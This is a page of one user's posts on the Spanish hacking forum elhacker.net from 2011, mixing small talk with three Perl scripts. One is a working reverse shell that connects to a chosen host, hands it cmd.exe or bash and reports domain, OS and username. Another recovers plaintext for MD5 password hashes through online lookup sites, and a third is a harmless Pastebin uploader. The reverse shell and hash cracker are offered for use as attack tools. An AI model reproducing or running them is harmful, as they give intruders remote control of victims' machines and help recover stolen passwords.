elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [50] 51 52 53 54 55
491  Programación / Scripting / [Perl] Pass Cracker By Doddy H en: 8 Octubre 2011, 16:56 pm
Hola , aca les dejo un simple programa para buscar la decodificacion de un hash md5


Código
  1. #!usr/bin/perl
  2. #Pass Cracker 1.0
  3. #(C) Doddy Hackman 2011
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  9. $nave->timeout(5);
  10.  
  11. head();
  12. unless($ARGV[0]) {
  13. print "\n\n[+] sintax : $0 <hash>\n\n";
  14. } else {
  15. crackit($ARGV[0]);
  16. }
  17. copyright();
  18.  
  19. sub crackit {
  20.  
  21. print "\n[+] Cracking $_[0]\n\n";
  22.  
  23. my %hash = (
  24.  
  25. 'http://passcracking.com/' => {
  26. 'tipo'  => 'post',
  27. 'variables'=>'{"datafromuser" => $_[0], "submit" => "DoIT"}',
  28. 'regex'=>'<\/td><td>md5 Database<\/td><td>$_[0]<\/td><td bgcolor=#FF0000>(.*)<\/td><td>',
  29. },  
  30. 'http://md5.hashcracking.com/search.php?md5=' =>  {
  31. 'tipo' => 'get',
  32. 'regex' => 'Cleartext of $_[0] is (.*)',
  33. },
  34. 'http://www.bigtrapeze.com/md5/' =>  {
  35. 'tipo' => 'post',
  36. 'variables'=>'{"query" => $_[0], "submit" => " Crack "}',
  37. 'regex' => 'The hash <strong>$_[0]<\/strong> has been deciphered to: <strong>(.+)<\/strong>',
  38. },
  39. 'http://opencrack.hashkiller.com/' =>  {
  40. 'tipo' => 'post',
  41. 'variables'=>'{"oc_check_md5" => $_[0], "submit" => "Search MD5"}',
  42. 'regex' => qq(<\/div><div class="result">$_[0]:(.+)<br\/>),
  43. },
  44. 'http://www.hashchecker.com/index.php?_sls=search_hash' =>  {
  45. 'tipo' => 'post',
  46. 'variables'=>'{"search_field" => $_[0], "Submit" => "search"}',
  47. 'regex' => '<td><li>Your md5 hash is :<br><li>$_[0] is <b>(.*)<\/b> used charl',
  48. },
  49. 'http://victorov.su/md5/?md5e=&md5d=' =>  {
  50. 'tipo' => 'get',
  51. 'regex' => qq(MD5 ðàñøèôðîâàí: <b>(.*)<\/b><br><form action=\"\">),
  52. }
  53. );
  54.  
  55. for my $data(keys %hash) {
  56.  
  57. if ($hash{$data}{tipo} eq "get") {
  58. $code = toma($data.$_[0]);
  59. if ($code=~/$hash{$data}{regex}/ig) {
  60. print "\n[+] Decoded : ".$1."\n\n";
  61. }
  62. } else {
  63. $code = tomar($data,$hash{$data}{variables});
  64. if ($code=~/$hash{$data}{regex}/ig) {
  65. print "\n[+] Decoded : ".$1."\n\n";
  66. }
  67. }
  68. }
  69. print "\n[+] Finish\n";
  70. }
  71.  
  72. sub head {
  73. print "\n\n-- == Pass Cracker == --\n\n";
  74. }
  75.  
  76. sub copyright {
  77. print "\n\n(C) Doddy Hackman 2011\n\n";
  78. exit(1);
  79. }
  80.  
  81. sub toma {
  82. return $nave->get($_[0])->content;
  83. }
  84.  
  85. sub tomar {
  86. my ($web,$var) = @_;
  87. return $nave->post($web,[%{$var}])->content;
  88. }
  89.  
  90. #Thanks to explorer (PerlEnEspañol)
  91. # ¿ The End ?
  92.  
Ejemplo de uso

Código:
perl crack.pl <hash>
492  Programación / Scripting / [Perl] PasteBin Uploader en: 8 Octubre 2011, 16:55 pm
Bueno aca eh terminado un programa que los ayudara a publicar sus programas
en pastebin de una forma rapida y sin ganas xDDD

Entonces , este programa tiene dos opciones :

  • Publica solo un archivo
  • Publica todos los archivos en un directorio

Tambien detecta el tipo de extension para poder publicar el codigo en su respectivo tipo de codigo

Código
  1. #!usr/bin/perl
  2. #Paste Bin Uploader (C) Doddy Hackman 2011
  3.  
  4. use LWP::UserAgent;
  5. use HTTP::Request::Common;
  6.  
  7. my $nave = LWP::UserAgent->new();
  8. $nave->timeout(10);
  9. $nave->agent("Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12");
  10.  
  11. menu();
  12.  
  13. sub menu {
  14.  
  15. clean();
  16. header();
  17.  
  18. print "\n\n[Options]\n\n";
  19. print "[1] : Upload a file\n";
  20. print "[2] : Upload a directory\n";
  21. print "[3] : Exit\n\n";
  22. print "[Option] : ";
  23. chomp(my $op = <stdin>);
  24.  
  25. if ($op eq 1) {
  26. print "\n\n[File] : ";
  27. chomp(my $file = <stdin>);
  28.  
  29. if (-f $file)  {
  30.  
  31. ($name,$exta) =verfile($file);
  32.  
  33. my $ext = extensiones($exta);
  34.  
  35. if ($ext ne "Yet") {
  36.  
  37.  
  38. $code = openfile($file);
  39.  
  40. $re = lleva($name,$code,$ext);
  41.  
  42. print "\n\n[+] File : $file\n";
  43. print "[+] Link : ".$re."\n";
  44.  
  45. savefile("uploads_paste.txt","\n[+] File : $file");
  46. savefile("uploads_paste.txt","[+] Link : ".$re);
  47.  
  48. }
  49.  
  50.  
  51. } else {
  52. print "\n\n[-] Error\n\n";
  53. }
  54. reload();
  55. }
  56.  
  57. elsif ($op eq 2) {
  58.  
  59. print "\n\n[Directory] : ";
  60. chomp(my $dir = <stdin>);
  61.  
  62. if (-d $dir) {
  63.  
  64. my @files = verdir($dir);
  65.  
  66. print "\n\n[+] Loading directory\n";
  67.  
  68. for my $file(@files) {
  69.  
  70. chomp $file;
  71.  
  72. my ($name,$exta) =verfile($file);
  73.  
  74. my $ext = extensiones($exta);
  75.  
  76. if ($ext ne "Yet") {
  77.  
  78. my $code = openfile($dir."/".$file);
  79.  
  80. $re = lleva($name,$code,$ext);
  81.  
  82. print "\n\n[+] File : $file\n";
  83. print "[+] Link : ".$re."\n";
  84.  
  85. savefile("uploads_paste.txt","\n[+] File : $file");
  86. savefile("uploads_paste.txt","[+] Link : ".$re);
  87.  
  88. }
  89. }
  90. } else {
  91. print "\n\n[-] Error\n\n";
  92. }
  93.  
  94. reload();
  95. }
  96.  
  97. elsif ($op eq 3) {
  98. copyright();
  99. <stdin>;
  100. exit(1);
  101. }
  102.  
  103. else {
  104. menu();
  105. }
  106. }
  107.  
  108. sub copyright {
  109. print "\n\n(C) Doddy Hackman 2011\n\n";
  110. }
  111.  
  112. sub header {
  113.  
  114.  
  115. PPPP     AA     SSSSTTTTTTEEEE    BBBB   II NN   NN     UU  UU  PPPP
  116. PP PP    AA    SS  S  TT  EE      BB BB  II NNN  NN     UU  UU  PP PP
  117. PP PP   AAAA   SS     TT  EE      BB BB  II NNNN NN     UU  UU  PP PP
  118. PPPP    A  A    SSS   TT  EEEE    BBBB   II NN N NN     UU  UU  PPPP
  119. PP     AAAAAA     SS  TT  EE      BB BB  II NN NNNN     UU  UU  PP  
  120. PP     AA  AA  S  SS  TT  EE      BB BB  II NN  NNN     UUUUUU  PP  
  121. PP     AA  AA  SSSS   TT  EEEE    BBBB   II NN   NN      UUUU   PP  
  122.  
  123.  
  124. );
  125.  
  126. }
  127.  
  128. sub clean {
  129. system("cls");
  130. }
  131.  
  132.  
  133.  
  134. sub verdir{
  135. my @archivos;
  136. opendir DIR,$_[0];
  137. my @archivos = readdir DIR;
  138. for (@archivos) {
  139. if (-f $_[0]."/".$_) {
  140. push(@files,$_)
  141. }
  142. }
  143. return @files;
  144. }
  145.  
  146. sub verfile {
  147. if ($_[0]=~/(.*)\.(.*)/ig) {
  148. return ($1,$2);
  149. }
  150. }
  151.  
  152. sub extensiones {
  153.  
  154. if ($_[0] =~/py/ig) {
  155. $code  = "python";
  156. }
  157. elsif ($_[0] =~/pl/ig) {
  158. $code = "perl";
  159. }
  160. elsif ($_[0] =~/rb/ig) {
  161. $code = "ruby";
  162. }
  163. elsif ($_[0] =~/php/ig) {
  164. $code = "php";
  165. }
  166. elsif ($_[0] =~/txt/ig) {
  167. $code = "";
  168. }
  169. else {
  170. $code = "Yet";
  171. }
  172. return $code;
  173. }
  174.  
  175. sub reload {
  176. print "\n\n[?] Enter for continue\n\n";
  177. <stdin>;
  178. menu();
  179. }
  180.  
  181.  
  182.  
  183. sub savefile {
  184. open (SAVE,">>logs/".$_[0]);
  185. print SAVE $_[1]."\n";
  186. close SAVE;
  187. }
  188.  
  189. sub openfile {
  190.  
  191. my $r;
  192.  
  193. open (FILE,$_[0]);
  194. @wor = <FILE>;
  195. close FILE;
  196. for(@wor) {
  197. $r.= $_;
  198. }
  199. return $r;
  200. }
  201.  
  202. sub lleva {
  203. return $nave->post('http://pastebin.com/api_public.php',{ paste_code => $_[1],paste_name=> $_[0],paste_format=>$_[2],paste_expire_date=>'N',paste_private=>"public",submit=>'submit'})->content;
  204. }
  205.  
  206. # ¿ The End ?
  207.  
493  Programación / Scripting / [Perl] Reverse Shell By Doddy en: 8 Octubre 2011, 16:55 pm
 Hola a todos.

Hoy traigo un simple reverse shell en esta version solo pueden conectarse al server que tiene netcat
despues ofrece informacion depende del sistema operativo que tiene el que ejecuto el script.
En la version 0.2 le agregare deteccion de kernel y su posible exploit.

Código
  1. #!usr/bin/perl
  2. #Reverse Shell 0.1
  3. #By Doddy H
  4.  
  5. use IO::Socket;
  6.  
  7. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  8.  
  9. unless (@ARGV == 2) {
  10. print "[Sintax] : $0 <host> <port>\n\n";
  11. exit(1);
  12. } else {
  13. print "[+] Starting the connection\n";
  14. print "[+] Enter in the system\n";
  15. print "[+] Enjoy !!!\n\n";
  16. conectar($ARGV[0],$ARGV[1]);
  17. tipo();
  18. }
  19.  
  20. sub conectar {
  21. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  22. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  23. open (STDIN,">&REVERSE");
  24. open (STDOUT,">&REVERSE");
  25. open (STDERR,">&REVERSE");
  26. }
  27.  
  28. sub tipo {
  29. print "\n[*] Reverse Shell Starting...\n\n";
  30. if ($^O =~/Win32/ig) {
  31. infowin();
  32. system("cmd.exe");
  33. } else {
  34. infolinux();
  35. #root();  
  36. system("bin/bash");
  37. }
  38. }
  39.  
  40. sub infowin {
  41. print "[+] Domain Name : ".Win32::DomainName()."\n";
  42. print "[+] OS Version : ".Win32::GetOSName()."\n";
  43. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  44. }
  45.  
  46. sub infolinux {
  47. print "[+] System information\n\n";
  48. system("uname -a");
  49. }
  50.  
  51. #The End
  52.  
  53.  
494  Foros Generales / Foro Libre / Re: cuantas mujeres activas tiene el foro en: 7 Octubre 2011, 22:50 pm
Lo malo no es eso, lo malo es preguntar eso :S suena como si anduvieran urgidos y nunca tengan comunicacion con mujeres (sin ofender a nadie).
Zalyu2

que hiriente sono eso xDD
495  Foros Generales / Foro Libre / Re: Cuántas veces haceís ejercicio a la semana ?' en: 7 Octubre 2011, 22:49 pm
En mi caso corro todos los dias de la semana y hago ejercicio de brazos con mancuernas de 5 kilos , aparte de 20 flexiones de brazo y abdominales.
496  Foros Generales / Foro Libre / Re: Porque te gusta andar en los foros? en: 7 Octubre 2011, 22:48 pm
En mi caso me gusta programar y compartir los codigos que hago.
497  Sistemas Operativos / GNU/Linux / Re: Montar partición de forma automática al iniciar el sistema [Linux] en: 7 Octubre 2011, 18:33 pm
que bien explicaste todo , aunque prefiero seguir usando linux en virtualbox porque la ultima vez que dividi las particiones perdi todos los datos de windows xDD
498  Programación / Programación Visual Basic / Re: crear un browser en: 7 Octubre 2011, 18:30 pm
por lo que eh leido , hacer un browser en delphi es mas facil que en VB, lo digo porque hay muchas referencias sobre como haberlo.
 
Edito:busque en google con "navegador VB" y me salen varios manuales para que puedas hacerlo
499  Programación / Scripting / Re: [perl] Porque no me deja instalar modulos? en: 7 Octubre 2011, 18:01 pm
que mala suerte tenes , entonces no se como ayudarte , pero al final que modulo queres instalar ?
500  Foros Generales / Noticias / Re: Fallece Steve Jobs en: 7 Octubre 2011, 16:13 pm
Con todo lo que hizo dudo que alguien olvide los trabajos que el hizo
Páginas: 1 ... 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 [50] 51 52 53 54 55
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines